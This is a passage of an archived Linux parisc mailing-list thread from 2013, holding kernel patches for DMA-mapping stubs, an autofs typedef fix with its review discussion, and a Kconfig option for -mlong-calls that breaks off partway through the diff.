X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 27 Jan 2013 10:33:49 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org,
	Geert Uytterhoeven <geert@linux-m68k.org>,
	Marek Szyprowski <m.szyprowski@samsung.com>,
	James Bottomley <James.Bottomley@hansenpartnership.com>,
	linux-parisc@vger.kernel.org
To: linux-arch@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jan 27 11:34:04 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1TzPYo-0002RU-Cq
	for glpp-linux-parisc@plane.gmane.org; Sun, 27 Jan 2013 11:34:02 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756444Ab3A0Kdm convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 27 Jan 2013 05:33:42 -0500
Original-Received: from gerard.telenet-ops.be ([195.130.132.48]:59740 "EHLO
	gerard.telenet-ops.be" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1756475Ab3A0Kdf (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 27 Jan 2013 05:33:35 -0500
Original-Received: from ayla.of.borg ([84.193.72.141])
	by gerard.telenet-ops.be with bizsmtp
	id syZY1k00c32ts5g0HyZYpT; Sun, 27 Jan 2013 11:33:34 +0100
Original-Received: from geert by ayla.of.borg with local (Exim 4.71)
	(envelope-from <geert@linux-m68k.org>)
	id 1TzPYJ-0008C3-JH; Sun, 27 Jan 2013 11:33:31 +0100
X-Mailer: git-send-email 1.7.0.4
In-Reply-To: <1359282808-31398-1-git-send-email-geert@linux-m68k.org>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4766 gmane.linux.kernel.cross-arch:16758 gmane.linux.kernel:1430459
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4766>

parisc/allmodconfig:

drivers/media/v4l2-core/videobuf2-dma-contig.c: In function =E2=80=98vb=
2_dc_mmap=E2=80=99:
drivers/media/v4l2-core/videobuf2-dma-contig.c:204: error: implicit dec=
laration of function =E2=80=98dma_mmap_coherent=E2=80=99
drivers/media/v4l2-core/videobuf2-dma-contig.c: In function =E2=80=98vb=
2_dc_get_base_sgt=E2=80=99:
drivers/media/v4l2-core/videobuf2-dma-contig.c:387: error: implicit dec=
laration of function =E2=80=98dma_get_sgtable=E2=80=99

=46or architectures using dma_map_ops, dma_mmap_coherent() and
dma_get_sgtable() are provided in <asm-generic/dma-mapping-common.h>.

Parisc does not use dma_map_ops, hence it should implement them itself.
=46or now, use dummy implementations that just return -EINVAL, until th=
e
API has been finalized, as it cannot be supported on PA-RISC as-is.

Signed-off-by: Geert Uytterhoeven <geert@linux-m68k.org>
Cc: Marek Szyprowski <m.szyprowski@samsung.com>
Cc: James Bottomley <James.Bottomley@hansenpartnership.com>
Cc: linux-parisc@vger.kernel.org
---
v2: Dummy implementations that just return -EINVAL
---
 arch/parisc/include/asm/dma-mapping.h |   15 +++++++++++++++
 1 files changed, 15 insertions(+), 0 deletions(-)

diff --git a/arch/parisc/include/asm/dma-mapping.h b/arch/parisc/includ=
e/asm/dma-mapping.h
index 467bbd5..106b395 100644
--- a/arch/parisc/include/asm/dma-mapping.h
+++ b/arch/parisc/include/asm/dma-mapping.h
@@ -238,4 +238,19 @@ void * sba_get_iommu(struct parisc_device *dev);
 /* At the moment, we panic on error for IOMMU resource exaustion */
 #define dma_mapping_error(dev, x)	0
=20
+/* This API cannot be supported on PA-RISC */
+static inline int dma_mmap_coherent(struct device *dev,
+				    struct vm_area_struct *vma, void *cpu_addr,
+				    dma_addr_t dma_addr, size_t size)
+{
+	return -EINVAL;
+}
+
+static inline int dma_get_sgtable(struct device *dev, struct sg_table =
*sgt,
+				  void *cpu_addr, dma_addr_t dma_addr,
+				  size_t size)
+{
+	return -EINVAL;
+}
+
 #endif
--=20
1.7.0.4

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:53 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [PATCH] parisc: unbreak automounter support on 64-bit kernel with
 32-bit userspace
Date: Thu, 31 Jan 2013 21:01:10 +0100
Lines: 23
Approved: news@gmane.org
Message-ID: <20130131200110.GA6032@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1359662486 18308 80.91.229.3 (31 Jan 2013 20:01:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 31 Jan 2013 20:01:26 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	James.Bottomley@HansenPartnership.com, linux-kernel@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jan 31 21:01:46 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1U10KP-0004cS-Oh
	for glpp-linux-parisc@plane.gmane.org; Thu, 31 Jan 2013 21:01:46 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756914Ab3AaUBR (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 31 Jan 2013 15:01:17 -0500
Original-Received: from mout.gmx.net ([212.227.17.21]:54006 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753928Ab3AaUBQ (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 31 Jan 2013 15:01:16 -0500
Original-Received: from mailout-de.gmx.net ([10.1.76.2]) by mrigmx.server.lan
 (mrigmx001) with ESMTP (Nemesis) id 0M8cSj-1UvjmD1V9n-00wAnH for
 <linux-parisc@vger.kernel.org>; Thu, 31 Jan 2013 21:01:14 +0100
Original-Received: (qmail invoked by alias); 31 Jan 2013 20:01:14 -0000
Original-Received: from p54AD01F8.dip0.t-ipconnect.de (EHLO p100.box) [84.173.1.248]
  by mail.gmx.net (mp002) with SMTP; 31 Jan 2013 21:01:14 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1/6DllvcdL6PoKc8bKrvrg6C7DaFWDBxVZuTBG0Ny
	pDwtap0pCqiOvZ
Content-Disposition: inline
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4767 gmane.linux.kernel:1433314
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4767>

Similiar to other 64 bit Linux targets autofs_wqt_t needs to be of type int
which has a size of 32 bits on 32- and 64-bit parisc kernels.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/include/uapi/linux/auto_fs.h b/include/uapi/linux/auto_fs.h
index 77cdba9..d551754 100644
--- a/include/uapi/linux/auto_fs.h
+++ b/include/uapi/linux/auto_fs.h
@@ -43,7 +43,7 @@
  */
 
 #if defined(__sparc__) || defined(__mips__) || defined(__x86_64__) \
- || defined(__powerpc__) || defined(__s390__)
+ || defined(__powerpc__) || defined(__s390__) || defined(__hppa__)
 typedef unsigned int autofs_wqt_t;
 #else
 typedef unsigned long autofs_wqt_t;
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.kernel.autofs
Subject: Re: [PATCH] parisc: unbreak automounter support on 64-bit kernel
 with 32-bit userspace
Date: Fri, 01 Feb 2013 07:26:48 +1100
Lines: 34
Approved: news@gmane.org
Message-ID: <1359664008.2468.5.camel@dabdike>
References: <20130131200110.GA6032@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-15"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1359664020 1762 80.91.229.3 (31 Jan 2013 20:27:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 31 Jan 2013 20:27:00 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org,
	Ian Kent <raven@themaw.net>, autofs@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jan 31 21:27:19 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1U10j4-0007Vc-RK
	for glpp-linux-parisc@plane.gmane.org; Thu, 31 Jan 2013 21:27:15 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753605Ab3AaU04 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 31 Jan 2013 15:26:56 -0500
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:49716 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1753398Ab3AaU0z (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 31 Jan 2013 15:26:55 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id B94048EE0E2;
	Thu, 31 Jan 2013 12:26:54 -0800 (PST)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id dlsxdGRi42h7; Thu, 31 Jan 2013 12:26:54 -0800 (PST)
Original-Received: from [192.168.43.99] (unknown [49.176.99.244])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 9D4138EE092;
	Thu, 31 Jan 2013 12:26:52 -0800 (PST)
In-Reply-To: <20130131200110.GA6032@p100.box>
X-Mailer: Evolution 3.6.2 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4768 gmane.linux.kernel:1433318 gmane.linux.kernel.autofs:6467
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4768>

[adding autofs list and maintainer for their perusal and ack, although
this is an obvious fix to me

James]
On Thu, 2013-01-31 at 21:01 +0100, Helge Deller wrote:
> Similiar to other 64 bit Linux targets autofs_wqt_t needs to be of type int
> which has a size of 32 bits on 32- and 64-bit parisc kernels.
> 
> Signed-off-by: Helge Deller <deller@gmx.de>
> 
> diff --git a/include/uapi/linux/auto_fs.h b/include/uapi/linux/auto_fs.h
> index 77cdba9..d551754 100644
> --- a/include/uapi/linux/auto_fs.h
> +++ b/include/uapi/linux/auto_fs.h
> @@ -43,7 +43,7 @@
>   */
>  
>  #if defined(__sparc__) || defined(__mips__) || defined(__x86_64__) \
> - || defined(__powerpc__) || defined(__s390__)
> + || defined(__powerpc__) || defined(__s390__) || defined(__hppa__)
>  typedef unsigned int autofs_wqt_t;
>  #else
>  typedef unsigned long autofs_wqt_t;
> --
> To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rolf Eike Beer <eike-kernel@sf-tec.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.kernel.autofs
Subject: Re: [PATCH] parisc: unbreak automounter support on 64-bit kernel with 32-bit userspace
Date: Thu, 31 Jan 2013 22:00:48 +0100
Lines: 59
Approved: news@gmane.org
Message-ID: <2592015.Y1QhlXoLiz@donald.sf-tec.de>
References: <20130131200110.GA6032@p100.box> <1359664008.2468.5.camel@dabdike>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; boundary="nextPart45324376.8a8teivU1l"; micalg="pgp-sha1"; protocol="application/pgp-signature"
Content-Transfer-Encoding: 7Bit
X-Trace: ger.gmane.org 1359666069 21848 80.91.229.3 (31 Jan 2013 21:01:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 31 Jan 2013 21:01:09 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org, Ian Kent <raven@themaw.net>,
	autofs@vger.kernel.org
To: James Bottomley <James.Bottomley@hansenpartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jan 31 22:01:28 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1U11GB-0003PU-Lh
	for glpp-linux-parisc@plane.gmane.org; Thu, 31 Jan 2013 22:01:27 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754094Ab3AaVBJ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 31 Jan 2013 16:01:09 -0500
Original-Received: from mail.sf-mail.de ([62.27.20.61]:60741 "EHLO mail.sf-mail.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753640Ab3AaVBI (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 31 Jan 2013 16:01:08 -0500
Original-Received: (qmail 19671 invoked from network); 31 Jan 2013 21:00:59 -0000
Original-Received: from dslb-178-003-066-245.pools.arcor-ip.net ([::ffff:178.3.66.245]:58201 HELO donald.sf-tec.de) (auth=eike-kernel@sf-tec.de)
	by mail.sf-mail.de (Qsmtpd 0.23svn) with (DHE-RSA-AES256-SHA encrypted) ESMTPSA
	for <james.bottomley@hansenpartnership.com>; Thu, 31 Jan 2013 22:00:59 +0100
User-Agent: KMail/4.9.5 (Linux/3.7.1-17-desktop; KDE/4.9.5; i686; ; )
In-Reply-To: <1359664008.2468.5.camel@dabdike>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4769 gmane.linux.kernel:1433328 gmane.linux.kernel.autofs:6468
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4769>


--nextPart45324376.8a8teivU1l
Content-Transfer-Encoding: 7Bit
Content-Type: text/plain; charset="ISO-8859-15"

James Bottomley wrote:
> [adding autofs list and maintainer for their perusal and ack, although
> this is an obvious fix to me
> 
> James]
> 
> On Thu, 2013-01-31 at 21:01 +0100, Helge Deller wrote:
> > Similiar to other 64 bit Linux targets autofs_wqt_t needs to be of type
> > int
> > which has a size of 32 bits on 32- and 64-bit parisc kernels.
> > 
> > Signed-off-by: Helge Deller <deller@gmx.de>
> > 
> > diff --git a/include/uapi/linux/auto_fs.h b/include/uapi/linux/auto_fs.h
> > index 77cdba9..d551754 100644
> > --- a/include/uapi/linux/auto_fs.h
> > +++ b/include/uapi/linux/auto_fs.h
> > @@ -43,7 +43,7 @@
> > 
> >   */
> >  
> >  #if defined(__sparc__) || defined(__mips__) || defined(__x86_64__) \
> > 
> > - || defined(__powerpc__) || defined(__s390__)
> > + || defined(__powerpc__) || defined(__s390__) || defined(__hppa__)
> > 
> >  typedef unsigned int autofs_wqt_t;
> >  #else
> >  typedef unsigned long autofs_wqt_t;

Wouldn't it make sense to make it an unsigned int on all platforms? This 
wouldn't make any difference on 32 bit platforms and would prevent that to 
happen on the next 32-on-64 bit platform again.

Eike
--nextPart45324376.8a8teivU1l
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: This is a digitally signed message part.

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.18 (GNU/Linux)

iEUEABECAAYFAlEK24kACgkQXKSJPmm5/E4eogCY8VrIpEp4IWJsOHUsbHtWX0pR
nACaA4CBIBelTgfB5BdN+X6lerbw3KM=
=B7+V
-----END PGP SIGNATURE-----

--nextPart45324376.8a8teivU1l--

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "H. Peter Anvin" <hpa@zytor.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.kernel.autofs
Subject: Re: [PATCH] parisc: unbreak automounter support on 64-bit kernel
 with 32-bit userspace
Date: Thu, 31 Jan 2013 13:29:01 -0800
Lines: 16
Approved: news@gmane.org
Message-ID: <510AE21D.2090002@zytor.com>
References: <20130131200110.GA6032@p100.box> <1359664008.2468.5.camel@dabdike>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1359667763 5502 80.91.229.3 (31 Jan 2013 21:29:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 31 Jan 2013 21:29:23 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org, Ian Kent <raven@themaw.net>,
	autofs@vger.kernel.org
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jan 31 22:29:42 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1U11hT-0003xH-Mf
	for glpp-linux-parisc@plane.gmane.org; Thu, 31 Jan 2013 22:29:40 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752835Ab3AaV3U (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 31 Jan 2013 16:29:20 -0500
Original-Received: from terminus.zytor.com ([198.137.202.10]:44207 "EHLO mail.zytor.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751523Ab3AaV3T (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 31 Jan 2013 16:29:19 -0500
Original-Received: from anacreon.sc.intel.com (jfdmzpr06-ext.jf.intel.com [134.134.137.75])
	(authenticated bits=0)
	by mail.zytor.com (8.14.5/8.14.5) with ESMTP id r0VLT6IA021195
	(version=TLSv1/SSLv3 cipher=DHE-RSA-CAMELLIA256-SHA bits=256 verify=NO);
	Thu, 31 Jan 2013 13:29:07 -0800
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130110 Thunderbird/17.0.2
In-Reply-To: <1359664008.2468.5.camel@dabdike>
X-Enigmail-Version: 1.5
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4770 gmane.linux.kernel:1433335 gmane.linux.kernel.autofs:6469
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4770>

On 01/31/2013 12:26 PM, James Bottomley wrote:
> [adding autofs list and maintainer for their perusal and ack, although
> this is an obvious fix to me
> 
> James]

The #if list probably should be inverted, and only specific platforms
should have unsigned long...

	-hpa

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.kernel.autofs
Subject: Re: [PATCH] parisc: unbreak automounter support on 64-bit kernel
 with 32-bit userspace
Date: Fri, 01 Feb 2013 08:42:04 +1100
Lines: 21
Approved: news@gmane.org
Message-ID: <1359668524.2468.12.camel@dabdike>
References: <20130131200110.GA6032@p100.box>
	 <1359664008.2468.5.camel@dabdike> <510AE21D.2090002@zytor.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-15"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1359668539 12700 80.91.229.3 (31 Jan 2013 21:42:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 31 Jan 2013 21:42:19 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org, Ian Kent <raven@themaw.net>,
	autofs@vger.kernel.org
To: "H. Peter Anvin" <hpa@zytor.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jan 31 22:42:38 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1U11ty-0001Qi-4J
	for glpp-linux-parisc@plane.gmane.org; Thu, 31 Jan 2013 22:42:34 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753606Ab3AaVmN (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 31 Jan 2013 16:42:13 -0500
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:49904 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751886Ab3AaVmL (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 31 Jan 2013 16:42:11 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 72B628EE0E2;
	Thu, 31 Jan 2013 13:42:11 -0800 (PST)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id p43kfRsSMhja; Thu, 31 Jan 2013 13:42:11 -0800 (PST)
Original-Received: from [192.168.43.99] (unknown [49.176.99.244])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 2F0948EE092;
	Thu, 31 Jan 2013 13:42:08 -0800 (PST)
In-Reply-To: <510AE21D.2090002@zytor.com>
X-Mailer: Evolution 3.6.2 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4771 gmane.linux.kernel:1433339 gmane.linux.kernel.autofs:6470
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4771>

On Thu, 2013-01-31 at 13:29 -0800, H. Peter Anvin wrote:
> On 01/31/2013 12:26 PM, James Bottomley wrote:
> > [adding autofs list and maintainer for their perusal and ack, although
> > this is an obvious fix to me
> > 
> > James]
> 
> The #if list probably should be inverted, and only specific platforms
> should have unsigned long...

The whitelist is 64 bit only platforms, like ia64, isn't it?  So yes,
they're far less numerous.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:53 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: add CONFIG_MLONGCALLS option to enable linkage of
 huge vmlinux executables
Date: Thu, 31 Jan 2013 22:44:28 +0100
Lines: 56
Approved: news@gmane.org
Message-ID: <20130131214428.GA8928@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1359668680 14064 80.91.229.3 (31 Jan 2013 21:44:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 31 Jan 2013 21:44:40 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jan 31 22:44:59 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1U11wD-00053U-Nf
	for glpp-linux-parisc@plane.gmane.org; Thu, 31 Jan 2013 22:44:54 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754028Ab3AaVof (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 31 Jan 2013 16:44:35 -0500
Original-Received: from mout.gmx.net ([212.227.17.21]:52685 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753841Ab3AaVof (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 31 Jan 2013 16:44:35 -0500
Original-Received: from mailout-de.gmx.net ([10.1.76.2]) by mrigmx.server.lan
 (mrigmx001) with ESMTP (Nemesis) id 0Lhhfz-1UnXua25qL-00mtZV for
 <linux-parisc@vger.kernel.org>; Thu, 31 Jan 2013 22:44:33 +0100
Original-Received: (qmail invoked by alias); 31 Jan 2013 21:44:33 -0000
Original-Received: from p54AD01F8.dip0.t-ipconnect.de (EHLO p100.box) [84.173.1.248]
  by mail.gmx.net (mp002) with SMTP; 31 Jan 2013 22:44:33 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1+vs6Z+VFWvo2qfK14/Uu32hbNrcggb38DAw0D/3e
	l531ciB4WAerMv
Content-Disposition: inline
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4772
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4772>

When building a 64bit kernel which includes all necessary drivers and
filesystems the vmlinux kernel often gets so huge, that the linker won't
be able to resolve the branch stubs. This patch overcomes this limit by
providing an option to compile the kernel with the -mlong-calls compiler
option.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/Kconfig b/arch/parisc/Kconfig
index b77feff..3df1c35 100644
--- a/arch/parisc/Kconfig
+++ b/arch/parisc/Kconfig
@@ -161,6 +161,23 @@ config PREFETCH
 	def_bool y
 	depends on PA8X00 || PA7200
 
+config MLONGCALLS
+	bool "Enable the -mlong-calls compiler option for big kernels"
+	def_bool y if (!MODULES)
+	depends on PA8X00
+	help
+	  If you configure the kernel to include many drivers built-in instead
+	  as modules, the kernel executable may become too big, so that the
+	  linker will not be able to resolve some long branches and fails to link
+	  your vmlinux kernel. In that case enabling this option will help you
+	  to overcome this limit by using the -mlong-calls compiler option.
+
+	  Usually you want to say N here, unless you e.g. want to build
+	  a kernel which includes all necessary drivers built-in and which can
+	  be used for TFTP booting without the need to have an initrd ramdisk.
+
+	  Enabling this option will probably slow down your kernel.
+
 config 64BIT
 	bool "64-bit kernel"
 	depends on PA8X00
diff --git a/arch/parisc/Makefile b/arch/parisc/Makefile
index 5707f1a..ed9a14c 100644
--- a/arch/parisc/Makefile
+++ b/arch/parisc/Makefile
